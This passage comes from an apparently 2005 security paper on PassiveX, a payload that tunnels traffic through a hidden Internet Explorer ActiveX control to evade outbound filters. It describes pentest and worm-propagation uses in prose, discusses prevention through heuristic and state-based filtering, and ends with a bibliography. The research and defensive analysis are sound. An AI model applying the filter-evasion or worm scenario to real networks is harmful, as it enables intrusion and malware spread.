This approach is also useful to a penetration tester in that it may
also be possible for them to make meaningful use of client-side
vulnerabilities that would otherwise be incommunicable due to
restrictive outbound filters. A particularly interesting
illustration of such an approach would be to demonstrate how
dangerous client-side browser vulnerabilities can be by showing that
even though a company employs outbound filters on the content that
leaves the network, it is still possible for an attacker to build a
streaming connection to machines on the internal network once a
browser vulnerability has been taken advantage of. Though such a
scenario will most likely not be the norm during penetration
testing, it is nonetheless a useful tool to have in the event that
such a case presents itself.
4.4) Worm Propagation
There are uses for the PassiveX payload on the malicious side of the
house as well. Due to the payload's ability to support automation
through scripting and its inherent ability to allow for the
construction of tunnels over arbitrary protocols, it seems obvious
that such a tool could be useful in the realm of worm propagation.
Take for instance a worm that spreads through server-side daemon
vulnerabilities and also by embedding client-side browser
vulnerabilities into the web sites of web servers that become
compromised. The payload for the client-side browser
vulnerabilities would be the PassiveX payload which would then
download an inject an ActiveX control from a de-centralized location
that would be responsible for the continued propagation of the worm
through the same vectors. The payload's transmission over trusted
protocols would make it just that much harder to stop assuming some
level of effort were put forth to make the communication
indistinguishable from normal browser traffic.
5) Methods of Prevention
Now that a payload has been defined that is capable of bypassing
standard outbound filters, the next step is to determine potential
solutions in order to assist in the prevention of such techniques.
Though efforts can be made elsewhere to prevent exploitation in the
first place, it is still prudent to attempt to analyze approaches
that could be taken to prevent a payload like the one described in
this document from being used in a real world scenario. The primary
concern when implementing a prevention mechanism, however, is that
it must not also prevent normal user traffic from working as
expected and should also be robust enough to catch future mutations
of the same technique. A failure to succeed on either of these
points is an indication that the prevention method is not entirely
viable or sound. With that in mind, two potential methods of
prevention will be described in this chapter, though neither of them
should be seen as complete method of prevention. The key point
again is that as long as it's possible for a user to communicate
with the internet, so too will it be possible for an attacker to
simulate traffic that looks as if it's coming from a user.
5.1) Heuristic based filtering
One method of prevention would be to implement an outbound filter
that made use of contextual heuristics to determine if the traffic
passing between two hosts might be potentially indicative of
encapsulated data. For instance, a transparent HTTP proxy could
monitor and track the variance of form and the spacing of requests
and responses between two hosts. In the case of the simple HTTP
tunnel described in this document, a transparent HTTP proxy could
note that there is very little variance between the headers of both
the requests and the responses and that the form of communication
between the two hosts is unchanging. Though this could be made to
work, there are a number of problems that make using this technique
of prevention not entirely viable.
The first and foremost problem with this technique is that it does
not actually prevent communication between the two entities until it
is able to determine that the requests and responses are of a common
form and pattern. This alone makes this method of "prevention"
entirely unreasonable, but it is nonetheless worthy of consideration
from a completeness standpoint. Other problems with this approach
include the fact that it's very easy to fool by making the
communication unpredictable, sporadic, and very similar to normal
HTTP traffic. This fact makes using a heuristic based form of
validation less favorable as it will always need to error towards
non-positive in order to prevent a poor user experience for
legitimate traffic passing through the proxy.
5.2) Improving application-based filters
Another approach that can be taken to prevent tunneling through
arbitrary protocols is to enhance application-based filters. For
instance, PassiveX relies on its ability to execute a hidden
instance of Internet Explorer. If the execution of a hidden
Internet Explorer weren't permitted or the hidden instance were
unable to access network resources, the payload would not be
functional There have been rumors of decisions to make it
impossible to execute a hidden Internet Explorer, though no concrete
information has been posted at the time of this writing.. It would
also be useful to support application-based filters on network
activity that occurs on the loopback interface, such as binding to a
TCP port on loopback. However, support for this requires a different
approach than what is typically employed by most firewall vendors
and would not necessarily be indicative of a malicious
program Most firewall products for NT-based versions of
Windows are implemented as NDIS intermediate drivers since such
drivers provide the lowest level of supported filtering..
Perhaps one of the most useful enhancements would be to add
state-based filtering. One example of a state-based filter would be
to prevent outbound communication of applications like Internet
Explorer while the user is idle. Though this doesn't prevent
communication while the user is active, it does add another layer of
protection. Another example of a state-based filter would be to
track unrequested internet traffic and to ask the user if it should
be permitted. An example of unrequested internet traffic comes in
the form of the initial HTTP request that is made by the hidden
internet explorer. In this case, the Internet Explorer process was
not spawned by a user and thus the internet traffic can rightly be
deemed unrequested.
6) Conclusion
Securing a network involves protecting it from being compromised
both from the outside and from the inside. To protect both of these
conditions, network administrators may make use of outbound filters
to help control and limit the type of content that is allowed to
leave the network in conjunction with inbound filters that control
and limit the type of content that is allowed to enter the network.
While filtering data in both directions is important, it is not
always enough to stop machines inside the network from being
compromised. Outbound filters in particular, whether employed at
the network, application, or intermediate level are all easily
bypassed by virtue of the fact that they allow users of the machine
to communicate with hosts on the internet in some form or another.
In order for an attacker to bypass outbound filters, the attacker
must find a way to look like acceptable user traffic. One way of
approaching this is to implement a payload that enables the
execution of both signed and unsigned ActiveX controls in Internet
Explorer's Internet zone. Once enabled, the payload could
then launch a hidden Internet Explorer using a URL that contains an
embedded ActiveX control. From there, the ActiveX control could
construct an HTTP tunnel between the target machine and the
attacker, thus creating a channel through which data can be passed
in a fashion that will bypass most network's outbound filters. The
reason this bypasses most outbound filters is because it uses a
trusted protocol, such as HTTP, and is executed in the context of a
typically trusted process, such as Internet Explorer, in an attempt
to make the traffic appear legitimate.
The benefits of such a payload vary based on a person's alignment.
However, it goes without saying that it could be potentially useful
to both sides of the fence. Whether used for penetration testing or
for worm propagation, the ability to bypass outbound filters makes
for an interesting connection medium beyond those typically used by
post-exploitation payloads, such as those that establish reverse
connections or listen on a port. Preventing payloads such as these
from being possible might involve enhancing the ability of outbound
filters to differentiate user traffic from non-user traffic.
There's no question that the field of exploitation and
post-exploitation research is filled with vast amounts of ingenuity.
The very act of making something do what no one else considered, or
in ways no one considered, is one of the many examples of
creativity. However, with ingenuity comes a certain sense of
responsibility. While the topics expanded upon in this document
could be used for malicious purposes, the author hopes that instead
the reader will use this knowledge to discover or expand on things
that have yet to be discussed, thus making it possible to continue
the cycle of education and enlightenment.
Bibliography
3APA3A, offtopic. Bypassing Client Application Protection Techniques.
http://www.securiteam.com/securityreviews/6S0030ABPE.html;
accessed Mar 17, 2005.
Dubrawsky, Ido. Data Driven Attacks Using HTTP Tunneling.
http://www.securityfocus.com/infocus/1793; accessed
Mar 15, 2005.
GNU. GNU httptunnel.
http://www.nocrew.org/software/httptunnel.html;
accessed Mar 15, 2005.
iDEFENSE. AOL Instant Messenger aim:goaway URI Handler Buffer Overflow Vulnerability.
http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities;
accessed Mar 08, 2005.
Microsoft Corporation. Working with Internet Explorer 6 Security Settings.
http://www.microsoft.com/windows/ie/using/howto/security/settings.mspx;
accessed Mar 15, 2005.
Microsoft Corporation. The Component Object Model: A Technical Overview.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncomg/html/msdn_comppr.asp;
accessed Mar 16, 2005.
Microsoft Corporation. About WinINet.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wininet/wininet/about_wininet.asp;
accessed Mar 16, 2005.
OSVDB. Microsoft IE Object Type Property Overflow.
http://www.osvdb.org/displayvuln.php?osvdb_id=2967;
accessed Mar 08, 2005.
rattle. Using Process Infection to Bypass Windows Software Firewalls.
http://www.phrack.org/show.php?p=62&a=13; accessed
Mar 17, 2005.
